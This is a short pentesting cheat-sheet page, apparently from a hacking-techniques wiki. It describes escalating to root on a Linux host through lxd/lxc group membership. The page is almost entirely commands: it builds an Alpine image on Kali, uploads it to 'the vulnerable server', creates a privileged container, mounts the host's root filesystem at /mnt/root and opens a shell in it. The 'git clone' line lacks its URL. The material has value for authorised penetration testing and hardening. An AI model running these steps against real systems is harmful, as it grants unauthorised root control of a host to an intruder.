Skip to content

lxd/lxc group

on kali

create lxd.tar.xz and rootfs.squashfs

#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
git clone
#Make distrobuilder
cd distrobuilder
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

Then, upload to the vulnerable server the files lxd.tar.xz and rootfs.squashfs

on target

Add the image

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image

Create a container and add root path

lxc init alpine privesc -c security.privileged=true --alias=alpine
lxc list #List containers

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

lxc start privesc
lxc exec privesc /bin/sh
cd /mnt/root #Here is where the filesystem is mounted